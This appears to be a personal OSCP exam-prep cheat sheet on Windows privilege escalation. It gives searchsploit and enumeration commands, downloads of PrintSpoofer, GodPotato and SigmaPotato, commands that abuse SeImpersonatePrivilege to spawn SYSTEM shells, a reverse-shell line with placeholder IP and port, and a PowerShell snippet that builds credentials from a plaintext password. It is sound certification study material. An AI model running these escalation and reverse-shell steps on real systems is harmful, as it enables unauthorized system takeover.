> For the complete documentation index, see [llms.txt](https://personal-archive.gitbook.io/oscp-exam-prep/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://personal-archive.gitbook.io/oscp-exam-prep/privilege-escalation/windows.md).

# Windows

## Online Resource

{% embed url="<https://lolbas-project.github.io/>" %}

## Finding Kernel Exploits

<pre class="language-docker" data-overflow="wrap" data-full-width="true"><code class="lang-docker"><strong>SearchSploit:
</strong> searchploit &#x3C;keyword>
 searchsploit -m &#x3C;EDB-ID>

For Kernal Vulnerabilities:
 searchsploit "windows kernel &#x3C;keyword> Local Privilege Escalation"

 Identify &#x3C;OS Name>, &#x3C;OS Version>, and &#x3C;OS Architecture> to fill for &#x3C;keyword> with -
  systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
    OR
  wmic os get Caption,Version,OSArchitecture
        
  Example: searchsploit "windows kernel Build XXXXX Local Privilege Escalation"
</code></pre>

## Exploit Permissions

### SeImpersonatePrivilege

<pre data-overflow="wrap" data-full-width="true"><code>PrintSpoofer:
    wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe
        OR
    wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer32.exe
    
    PrintSpoofer.exe -i -c &#x3C;command>
<strong>        # Execute a Command as root
</strong>    PrintSpoofer.exe -c cmd
        # Spawn a command prompt as root on current session
    PrintSpoofer.exe -d &#x3C;curent pid> -c "powershell -ep bypass"
        # Spawn SYSTEM process
        # Identify current process ID with - qwinsta

GodPotato.exe:
    wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET2.exe
    wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe
    wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET35.exe
        #Verify .NET framework to use with - reg query "HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP" /s
        
    ./GodPotato-NET4.exe -cmd "&#x3C;command>"
        # Execute a Command

SigmaPotato.exe:
    wget https://github.com/tylerdotrar/SigmaPotato/releases/download/v1.2.6/SigmaPotato.exe
    ./SigmaPotato.exe &#x3C;command>
        # Execute a Command
    ./SigmaPotato.exe --revshell &#x3C;ip_addr> &#x3C;port>
        # Establish a PowerShell Reverse Shell
</code></pre>

## Script to Create PS session

{% code overflow="wrap" fullWidth="true" %}

```
$username = "<username>";
$password = "<password>";
$secureString = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;

New-PSSession -ComputerName LEGACY -Credential $credential

To access the session: Enter-PSSession 1
```

{% endcode %}